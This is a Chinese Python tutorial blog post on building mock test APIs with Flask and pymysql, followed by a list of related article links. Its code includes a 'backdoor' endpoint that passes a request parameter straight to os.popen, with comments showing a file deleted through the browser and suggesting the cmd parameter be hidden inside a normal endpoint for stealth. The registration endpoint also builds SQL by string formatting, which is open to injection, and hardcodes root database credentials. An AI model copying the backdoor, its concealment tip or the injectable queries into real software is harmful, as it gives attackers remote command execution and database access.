python学习开发mock接口


Posted in Python onApril 28, 2019

本文实例为大家分享了python学习开发mock接口的具体步骤,供大家参考,具体内容如下

#1.测试为什么要开发接口?

1)在别的接口没有开发好的时候, mock接口(模拟接口)
2)查看数据, 避免直接操作数据库

#2.开发接口的顺序

1)安装flask

flask是一个轻量级开发框架

pip install flask

2)开发一个接口

开发步骤:

1.实例化一个服务server:flask.Flask(__name__)
2.函数前加装饰器@server.route(), 将函数变为一个接口
3.启动服务server:server.run()

import flask,json,pymysql
server=flask.Flask(__name__)#__name__代表当前python文件, 把当前python文件当成一个服务
 
def opt_db(sql):
  coon=pymysql.connect(
    host='192.168.109.132',
    user='root',
    passwd='123456',
    db='besttest',
    port=3306,
    charset='utf8'
  )#建立db链接
  cur=coon.cursor()#建立游标
  cur.execute(sql);#执行sql
  if sql.strip()[:6].upper()=='SELECT':
    res=cur.fetchall()#获取sql返回
  else:
    coon.commit()
    res='ok'
  cur.close()#关闭游标
  coon.close()#关闭db链接
  return res
 
 
#get请求, 请求路径ip:port/index
@server.route('/index',methods=['get'])#装饰器,代表index函数是一个接口,支持get请求(默认get请求)
def index():
  res={'msg':'这是我开发的第一个接口','msg_code':'0'}
  return json.dumps(res,ensure_ascii=False,indent=4)
 
 
#post请求, 请求路径ip:port/reg
@server.route('/reg',methods=['post'])#装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求)
def reg():
  username=flask.request.values.get('username')#获取接口入参
  pwd=flask.request.values.get('passwd')
  if username and pwd:
    sql='select * from syz_stu where username="%s";'%username
    if opt_db(sql):
      res={'msg':'用户已存在','msg_code':2001}#2001用户已存在
    else:
      insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd)
      opt_db(insert_sql)
      res={'msg':'注册成功','msg_code':'0'}
  else:
    res={'msg':'必填字段未填, 请查看接口文档','msg_code':1001}#1001必填字段未填
  return json.dumps(res,ensure_ascii=False,indent=4)
#后门接口
@server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error
def cmd():
  cmd = flask.request.values.get('cmd')#接口的入参
  res = os.popen(cmd)#执行用户命令
  return res.read()#返回执行结果
  #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件
  #隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
  # 默认可以不传,一但传了再res = os.popen(cmd)
 
server.run(port=6688,debug=True,host='0.0.0.0')#启动服务,接口才能访问
# port=6688指定端口为6688
# debug=True设置代码修改后服务自动重启
# host='0.0.0.0'设置同一局域网的可以访问
# server.run() 必须在所有接口定义完后再定义, 否则, server.run()检测不到之后定义的接口, 接口是无法被运行的

运行以上代码,打开浏览器,请求http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
把项目从Python2.x移植到Python3.x的经验总结
Apr 20 Python
Python的time模块中的常用方法整理
Jun 18 Python
详解 Python 与文件对象共事的实例
Sep 11 Python
Python中xrange与yield的用法实例分析
Dec 26 Python
在pycharm中设置显示行数的方法
Jan 16 Python
Flask框架学习笔记之消息提示与异常处理操作详解
Aug 15 Python
Python 继承,重写,super()调用父类方法操作示例
Sep 29 Python
Python通过Manager方式实现多个无关联进程共享数据的实现
Nov 07 Python
python 最简单的实现适配器设计模式的示例
Jun 30 Python
如何从csv文件构建Tensorflow的数据集
Sep 21 Python
python读取excel数据绘制简单曲线图的完整步骤记录
Oct 30 Python
python工具——Mimesis的简单使用教程
Jan 16 Python
Python简单基础小程序的实例代码
Apr 28 #Python
python实现Excel文件转换为TXT文件
Apr 28 #Python
Python3.5模块的定义、导入、优化操作图文详解
Apr 27 #Python
Python3.5内置模块之time与datetime模块用法实例分析
Apr 27 #Python
Python3.5内置模块之os模块、sys模块、shutil模块用法实例分析
Apr 27 #Python
Python3.5内置模块之shelve模块、xml模块、configparser模块、hashlib、hmac模块用法分析
Apr 27 #Python
python爬取基于m3u8协议的ts文件并合并
Apr 26 #Python
You might like
PHP和.net中des加解密的实现方法
2013/02/27 PHP
解析php中curl_multi的应用
2013/07/17 PHP
一些常用的JS功能函数(2009-06-04更新)
2009/06/04 Javascript
JavaScript DOM 学习第二章 编辑文本
2010/02/19 Javascript
基于jQuery实现的Ajax 验证用户名是否存在的实现代码
2011/04/06 Javascript
40款非常棒的jQuery 插件和制作教程(系列二)
2011/11/02 Javascript
JavaScript String.replace函数参数实例说明
2013/06/06 Javascript
php显示当前文件所在的文件以及文件夹所有文件以树形展开
2013/12/13 Javascript
jquery实现的下拉和收缩效果示例
2014/08/21 Javascript
js字符串完全替换函数分享
2014/12/03 Javascript
js获取会话框prompt的返回值的方法
2015/01/10 Javascript
被遗忘的javascript的slice() 方法
2015/04/20 Javascript
微信小程序自动客服功能
2017/11/02 Javascript
关于JavaScript语句后面的分号问题
2017/12/07 Javascript
vue监听对象及对象属性问题
2018/08/20 Javascript
使用element-ui的el-menu导航选中后刷新页面保持当前选中状态
2019/07/19 Javascript
JavaScript键盘事件响应顺序详解
2019/09/30 Javascript
微信小程序转化为uni-app项目的方法示例
2020/05/22 Javascript
[01:50]2014DOTA2西雅图邀请赛 专访欢乐周宝龙
2014/07/08 DOTA
pydev使用wxpython找不到路径的解决方法
2013/02/10 Python
python使用paramiko模块实现ssh远程登陆上传文件并执行
2014/01/27 Python
Python中Django框架利用url来控制登录的方法
2015/07/25 Python
Python操作RabbitMQ服务器实现消息队列的路由功能
2016/06/29 Python
Python爬取三国演义的实现方法
2016/09/12 Python
python对视频画框标记后保存的方法
2018/12/07 Python
在Python中COM口的调用方法
2019/07/03 Python
django与vue的完美结合_实现前后端的分离开发之后在整合的方法
2019/08/12 Python
python爬虫爬取监控教务系统的思路详解
2020/01/08 Python
Python读写csv文件流程及异常解决
2020/10/20 Python
高中政治教学反思
2014/01/18 职场文书
项目施工员岗位职责
2014/03/09 职场文书
办公室文员工作自我鉴定
2014/09/19 职场文书
趣味运动会加油词
2015/07/18 职场文书
MySQL5.7并行复制原理及实现
2021/06/03 MySQL
Three.js实现雪糕地球的使用示例详解
2022/07/07 Javascript
详解CSS3浏览器兼容
2022/12/24 HTML / CSS